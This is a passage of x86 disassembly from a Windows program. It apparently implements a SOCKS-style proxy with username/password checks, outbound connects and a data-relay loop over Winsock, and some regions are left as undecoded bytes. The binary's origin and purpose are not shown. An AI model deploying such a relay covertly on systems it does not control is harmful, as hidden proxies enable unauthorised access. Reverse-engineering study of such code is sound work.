		push	edi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jnz	short loc_42BA72


loc_42B9F9:				; CODE XREF: sub_42B8E0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp
		test	esi, esi
		jbe	short loc_42BA56
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42B9F9


loc_42BA56:				; CODE XREF: sub_42B8E0+16Fj
		mov	esi, dword_511C9C
		push	edi
		call	esi
		push	0FFFFFFFFh
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42BA72:				; CODE XREF: sub_42B8E0+35j
					; sub_42B8E0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42B8E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BB00	proc near		; CODE XREF: sub_42C5C0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42BDBA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42BED6
		mov	edi, dword_511C94
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi
		test	eax, eax
		jle	loc_42BF63
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h
		dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 44730068h, 0E8905600h
		dd 7168868Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42BDBA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42BCCB:				; CODE XREF: sub_42BB00+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42BCEF
		test	al, al
		jz	short loc_42BCEB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42BCEF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42BCCB


loc_42BCEB:				; CODE XREF: sub_42BB00+1D5j
		xor	eax, eax
		jmp	short loc_42BCF4
; ---------------------------------------------------------------------------


loc_42BCEF:				; CODE XREF: sub_42BB00+1D1j
					; sub_42BB00+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BCF4:				; CODE XREF: sub_42BB00+1EDj
		test	eax, eax
		jz	short loc_42BD51
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017EE
		lea	edi, [esp+83Ch+var_100]


loc_42BD0E:				; CODE XREF: sub_42BB00+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42BD32
		test	cl, cl
		jz	short loc_42BD2E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42BD32
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42BD0E


loc_42BD2E:				; CODE XREF: sub_42BB00+218j
		xor	eax, eax
		jmp	short loc_42BD37
; ---------------------------------------------------------------------------


loc_42BD32:				; CODE XREF: sub_42BB00+214j
					; sub_42BB00+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BD37:				; CODE XREF: sub_42BB00+230j
		test	eax, eax
		jz	short loc_42BD51
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BD51:				; CODE XREF: sub_42BB00+1F6j
					; sub_42BB00+239j
		mov	edi, dword_511CA0
		push	0
		push	2
		push	offset dword_4472FC
		push	esi
		call	edi
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	near ptr 71AB2DC0h
		nop
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42BDBA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42BE21
		sub	eax, 2
		jz	short loc_42BDC9
		dec	eax


loc_42BDB8:				; CODE XREF: sub_42BB00+31Fj
		jnz	short loc_42BE30


loc_42BDBA:				; CODE XREF: sub_42BB00+32j
					; sub_42BB00+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BDC9:				; CODE XREF: sub_42BB00+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_401758
		test	al, al
		jmp	short loc_42BDB8
; ---------------------------------------------------------------------------


loc_42BE21:				; CODE XREF: sub_42BB00+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx


loc_42BE30:				; CODE XREF: sub_42BB00:loc_42BDB8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42BDBA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		call	near ptr 71AB406Ah
		nop
		test	eax, eax
		jnz	loc_42BDBA
		push	eax
		push	4
		push	offset dword_4472F4
		push	esi
		call	edi
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020E0
		push	ebx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BED6:				; CODE XREF: sub_42BB00+47j
		cmp	ax, 2
		jnz	loc_42BF63
		mov	ebx, dword_511C94


loc_42BEE6:				; CODE XREF: sub_42BB00+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		nop
		call	near ptr 71AB2D0Fh
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C30
		test	edi, edi
		jz	short loc_42BF63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42BF63
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42BEE6


loc_42BF63:				; CODE XREF: sub_42BB00+67j
					; sub_42BB00+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42BB00	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C0A0	proc near		; CODE XREF: sub_401F37j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42C0B4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0B4:				; CODE XREF: sub_42C0A0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42C0C6
		dec	eax
		jz	short loc_42C0E8
		mov	word ptr [esi+6], 1


loc_42C0C6:				; CODE XREF: sub_42C0A0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42C0D0:				; CODE XREF: sub_42C0A0+52j
		push	ecx
		push	eax
		push	2
		call	near ptr 71AB3B91h
		nop
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42C0F4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0E8:				; CODE XREF: sub_42C0A0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42C0D0
; ---------------------------------------------------------------------------


loc_42C0F4:				; CODE XREF: sub_42C0A0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42C139
		mov	eax, [esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C139:				; CODE XREF: sub_42C0A0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42C161
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_42C161
		mov	edx, [esi+32h]
		push	edx
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C161:				; CODE XREF: sub_42C0A0+9Ej
					; sub_42C0A0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42C0A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C1B0	proc near		; CODE XREF: sub_401DD4j

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42C1B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42C24A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42C231
		mov	ebx, dword_511C98
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42C216


loc_42C202:				; CODE XREF: sub_42C1B0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_42C202


loc_42C216:				; CODE XREF: sub_42C1B0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		call	near ptr 71AB9639h
		nop
		test	bl, bl
		jnz	short loc_42C26A


loc_42C231:				; CODE XREF: sub_42C1B0+39j
					; sub_42C1B0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42C244:				; DATA XREF: ___:00442FACo
		mov	eax, offset loc_42C231
		retn
; ---------------------------------------------------------------------------


loc_42C24A:				; CODE XREF: sub_42C1B0+2Bj
		cmp	ax, 2
		jnz	short loc_42C231
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jz	short loc_42C231


loc_42C26A:				; CODE XREF: sub_42C1B0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C1B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C2C0:				; CODE XREF: ___:00401F96j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43CEB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42C309:				; DATA XREF: ___:loc_42C321o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42C321:				; DATA XREF: ___:0044300Co
		mov	eax, offset loc_42C309
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C350	proc near		; CODE XREF: sub_401C2Bj

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42C350
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		call	near ptr 71AB664Dh
		nop
		test	eax, eax
		jz	short loc_42C3C7


loc_42C387:				; CODE XREF: ___:0042C456j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42C3C7:				; CODE XREF: sub_42C350+35j
		push	42h
		call	sub_437AEA
sub_42C350	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42C3EC
		push	1
		mov	ecx, eax
		call	sub_4014F1
		jmp	short loc_42C3EE
; ---------------------------------------------------------------------------


loc_42C3EC:				; CODE XREF: ___:0042C3DFj
		xor	eax, eax


loc_42C3EE:				; CODE XREF: ___:0042C3EAj
		mov	dword_5103A4, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_5103A4
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40202C
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40202C
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F37
		test	al, al
		jz	loc_42C387


loc_42C45C:				; CODE XREF: ___:0042C46Dj
		mov	eax, dword_5103A4
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DD4
		jmp	short loc_42C45C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C4C0	proc near		; CODE XREF: sub_4014F1j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42C4E2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43F190
		call	sub_4014B5


loc_42C4E2:				; CODE XREF: sub_42C4C0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43F18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42C4C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C530	proc near		; CODE XREF: sub_4014B5j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_40142E
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C5C0	proc near		; CODE XREF: sub_4020EFj

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42C5C0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42C5D0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43CF28
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401FA0
		push	offset off_444D5C
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43F1A0
		call	sub_4015E1
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C640	proc near		; CODE XREF: ___:00401398j sub_401F5Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42C658
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C658:				; CODE XREF: sub_42C640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C670	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_4017A8
sub_42C670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C690:				; CODE XREF: ___:loc_40134Dj
		mov	eax, 1000h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42C71C
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C6BC:				; CODE XREF: ___:0042C71Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+18h]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42C6BC


loc_42C71C:				; CODE XREF: ___:0042C6AEj
					; ___:0042C6E5j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C738
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42C738:				; CODE XREF: ___:0042C72Fj
		add	esp, 1000h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C770	proc near		; CODE XREF: sub_40166Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_444D5C
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F1B0
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C7E0	proc near		; CODE XREF: ___:004013A7j sub_401B36j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42C7F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C7F8:				; CODE XREF: sub_42C7E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C7E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C810	proc near		; CODE XREF: sub_401217j
		jmp	sub_4017A8
sub_42C810	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C830	proc near		; CODE XREF: sub_401537j

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42C9FA
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42C888
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C888:				; CODE XREF: sub_42C830+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42C8E2
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C8E2:				; CODE XREF: sub_42C830+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, edi
		jnz	short loc_42C912
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C912:				; CODE XREF: sub_42C830+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_511CAC
		lea	ecx, [esp+2Ch+var_1C]
